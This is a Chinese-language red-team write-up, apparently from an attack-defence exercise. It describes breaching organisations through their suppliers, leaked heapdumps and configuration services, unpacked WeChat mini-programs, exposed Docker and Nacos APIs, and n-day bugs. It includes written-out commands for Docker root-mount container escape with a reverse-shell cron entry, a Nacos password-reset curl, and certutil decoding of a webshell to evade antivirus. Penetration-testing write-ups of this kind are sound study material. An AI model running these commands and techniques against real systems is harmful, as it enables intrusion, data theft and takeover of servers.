1、供應鏈

在經歷了多年的攻防對抗之后,大量目標單位逐漸認識到安全防護的重要性。因此,他們已采取措施盡可能收斂資產暴露面,并加倍部署各種安全設備。但安全防護注重全面性,具有明顯的短板效應,一處出現短板,整個防護體系就可能瞬間崩潰。而目標單位的供應鏈往往是這些薄弱點的集中體現。這些供應鏈不僅暴露在外,而且由于復雜的關系,使得對它們的監控和管理變得更為困難。因此,攻擊團隊通常會選擇從供應鏈著手,以一種迂回的方式繞過目標單位強大的防御體系,獲得對目標單位的控制權限。

通過在搜索引擎上搜索"系統名稱"目標單位

找到相關的供應商信息,通過對供應商進行攻擊,獲取目標單位的數據及權限。!

1.1、heapdump泄露

通過對供應商資產進行滲透,發現某資產admin目錄下存在heapdump文件泄露

對于heapdump的利用方式這里就不太贅述,有許多文章對其原理和利用都進行了深入的研究,特定情況下還可以直接進行RCE,這里泄露了大量敏感信息,密碼信息加入密碼本

登錄MinIO,發現大量所屬目標單位的敏感信息,也存在其它單位的敏感信息

登錄Nacos,大量配置文件,密碼信息加入密碼本![]

登錄OSS,發現大量所屬目標單位的敏感信息

1.2、微信小程序接口未授權

1.2.1、微信小程序解包

想要對微信小程序進行解包操作,首先是要獲取目標小程序的wxapkg文件。wxapkg文件是微信小程序的安裝包文件格式,用于將小程序的代碼、資源以及其他必要的文件打包成一個單獨的文件。但是Windows環境下的wxapkg文件中的js代碼和資源文件一般是被加密的,需要使用專門設計的解密工具先進行解密,再進行解包操作,獲取文件內容。iOS和Android平臺下可直接進行解包操作。

1.2.1.1、獲取wxapkg文件

在獲取wxapkg文件時,最好將文件夾中的文件先刪除,然后再重新打開小程序,防止其它文件干擾

iOS wxapkg 文件存放路徑為:


/var/mobile/Containers/Data/Application/{系統UUID}/Library/WechatPrivate/{user哈希值}/WeApp/LocalCache/release/{小程序的AppID}

Android wxapkg 文件存放路徑為:

/data/data/com.tencent.mm/MicroMsg/{user哈希值}/appbrand/pkg/

Windows wxapkg 文件存放路徑為:


C:\Users\{系統用戶名}\Documents\WeChat Files\Applet\{小程序的AppID}\

1.2.1.2、解密操作

下面兩個github項目都可以進行解密操作

https://github.com/superdashu/pc_wxapkg_decrypt_pythonhttps://github.com/BlackTrace/pc_wxapkg_decrypt

解密原理

成功解密

1.2.1.3、解包操作

國光大佬提供的工具下載鏈接

  • https://sqlsec.lanzoub.com/i1NEP0mx694f
node wuWxapkg.js 1.wxapkg

對小程序進行解包操作,獲取到前端JS代碼后中,從中進行提取獲得接口

直接訪問目標接口,前端頁面雖然顯示初始化失敗

但流量包中已獲取數據,近千萬條目標單位敏感信息

1.3、web程序越權

通過上述收集到的密碼,撞密碼撞出一個賬號,但是此賬號為最低權限,無任何操作權限,點擊搜索組織架構,此時無任何返回信息


抓包將parentId和orgLevel去除,再發包,即可越權看到全員組織架構

點擊修改密碼,然后將上述獲取到的roleId添加進去,即可獲取全部權限

獲取到大量數據

1.4、公眾號

js泄露密碼,密碼可撞庫目標單位公眾號

2、云原生安全

容器化部署和微服務架構為應用程序開發和部署提供了更好的靈活性、可伸縮性、可維護性和性能,受到了越來越多廠商的使用,新的應用就會引入新的攻擊面,如容器逃逸、服務間攻擊、API濫用等。攻擊者可以利用這些新的入口點來攻擊應用程序和數據。并且在云原生環境下管理用戶和服務的身份驗證和授權變得更加復雜。許多應用開發商在追求容器化和云原生架構的便利性和效率時,安全性常常被忽視或放在次要位置。這就直接導致了云原生環境的脆弱,容易受到各種安全威脅和攻擊。

2.1、Harbor 鏡像倉庫

Harbor是一個開源的容器鏡像倉庫管理器,旨在幫助組織存儲、管理和分發Docker容器鏡像,但是Harbor存在一個充滿爭議的“漏洞”:任意用戶能夠直接獲取public的鏡像。

可以直接拉取下載鏡像文件,可以利用腳本批量下載

2.2、疑似后門

通過鏡像文件獲取jar包,獲取配置文件等敏感信息,對jar包的class文件進行反編譯,進行代碼審計獲取到一個類似后門的漏洞,該接口只需要使用用戶名,即可登錄系統后臺。管理員權限配合文件上傳獲取服務器權限。

通過配置文件連接數據庫等

2.3、docker未授權

2.3.1、 registry api未授權訪問

在 Docker Registry API 中,認證和授權通常是基于訪問令牌(Access Token)或者用戶名和密碼的。如果未正確設置訪問控制權限,即會造成未授權訪問漏洞,攻擊者可直接下載registry倉庫的所有鏡像容器。

訪問/v2/_catalog接口即可查看全部倉庫內容

https://github.com/Soufaker/docker_v2_catalog

利用上述工具可直接下載鏡像

2.3.2、 Docker Remote API未授權訪問

為了管理容器集群,Docker允許Daemon作為后臺守護進程執行通過管理接口發送的Docker命令,使用參數-H 0.0.0.0:2375啟動Docker Daemon時,將開放2375端口接收來自遠程Docker客戶端的命令。在這種情況下,2375端口被作為非加密端口暴露出來,并且不存在任何形式的身份驗證,攻擊者可以直接使用Docker命令連接到Docker Daemon,并對容器進行直接操作,配合根目錄掛載即可實現容器逃逸。


#查看容器docker -H tcp://<target>:2375 ps -a

#掛載宿主機的根目錄到容器內的mnt目錄docker -H tcp://<target>:2375 run -it -v /:/mnt nginx:latest /bin/bash#反彈shellecho '反彈shell命令' >> /mnt/var/spool/cron/crontabs/root

2.4、Nacos

Nacos是一個開源的動態服務發現、配置管理和服務管理平臺,它提供了注冊中心、配置中心和服務管理等功能,幫助開發人員實現微服務架構中的服務注冊、配置管理以及服務發現等需求。

作為一個開源工具,漏洞還是被披露不少的,

未授權訪問:

/nacos/v1/auth/users?pageNo=1&pageSize=1 直接查看用戶

任意用戶添加:

POST /nacos/v1/auth/users username= & password=

任意用戶密碼修改:

curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken\=' -H 'User-Agent:Nacos-Server' -d 'username\=test1&newPassword\=test2'

弱口令:nacos/nacos

通過編排密碼爆破進后臺,發現大量配置文件,但敏感信息均被加密

2.4.1、Jasypt加密

Spring 的配置文件中會有一些敏感信息,如數據庫密碼,因此有時我們希望將敏感信息加密,Jasypt 就是其中比較方便的工具,Jasypt 是一個 Java 庫,用于簡化敏感數據(如密碼、API 密鑰等)的加密和解密操作。

加密的內容需要用 ENC(..) 括起來,加密用的密碼通過 jasypt.encryptor.password 指定。


spring:  datasource:    username: your-username    password: ENC(encrypted-password)

因為必須要解密,密碼就需要放在配置文件里,或者放在代碼中:


# application.yml
jasypt:  encryption:    password: 密碼    algorithm: 加密方式

解密數據:使用解密器的 decrypt 方法對加密的數據進行解密操作。


import org.jasypt.util.text.BasicTextEncryptor;
public class DecryptionExample {    public static void main(String[] args) {        String encryptionKey = "yourEncryptionKey"; // 加密密鑰        BasicTextEncryptor textEncryptor = new BasicTextEncryptor();        textEncryptor.setPassword(encryptionKey);
        String encryptedText = "encryptedText"; // 加密后的數據        String decryptedText = textEncryptor.decrypt(encryptedText);
        System.out.println("Decrypted Text: " + decryptedText);    }}


但是客戶端加密的安全性主要依賴于客戶端代碼的保護和可信任性,當密碼泄露后,加密也就自然失效了,在ncaos一個文件中發現jasypt加密密碼,可以直接進行解密操作

成功連接OSS

成功連接數據庫

小程序token,接管小程序

達夢數據庫是國產化的關系型數據庫,使用下面工具可以進行連接


https://github.com/864381832/x-RdbmsSyncTool/releases/tag/v0.0.3

3、Nday

3.1、yongyouNC jsInvoke rce漏洞

漏洞利用方法,通過Java反射機制創建一個javax.naming.InitialContext對象,并使用LDAP協議連接到指定的IP地址和端口,然后調用"nc.itf.iufo.IBaseSPService"服務中的"saveXStreamConfig"方法,接受對象和字符串作為參數,達到命令執行的效果。

命令執行成功,但是目標系統存在殺軟,無法直接上傳文件

3.1.1、certutil

certutil 是 Windows 操作系統中的一個命令行工具,主要用于處理證書和加密相關的操作,利用 certutil的解密操作可以繞過殺軟。


echo bash64編碼后的免殺馬 > myfile.jsp

使用certutil進行解碼


certutil -decode 木馬相對路徑 解碼后的木馬相對路徑

冰蝎上線并上線CS

3.2、若依二開

shiro的洞修復了,找到一個前臺信息泄露漏洞

通過獲取到的用戶名,使用弱口令進入后臺,普通權限

再次對公告發布人員猜解密碼,成功登錄后臺,多了系統管理權限,直接添加用戶賦予最高權限

新增用戶登錄,發現定時任務功能,直接使用定時任務執行命令

3.3、shiro

目標路徑在被訪問時,會先跳轉到統一認證登錄,導致大部分都忽視了該路徑是存在shiro反序列化漏洞的

本著試一試的心態進行了shiro的掃描,默認密鑰,直接獲取權限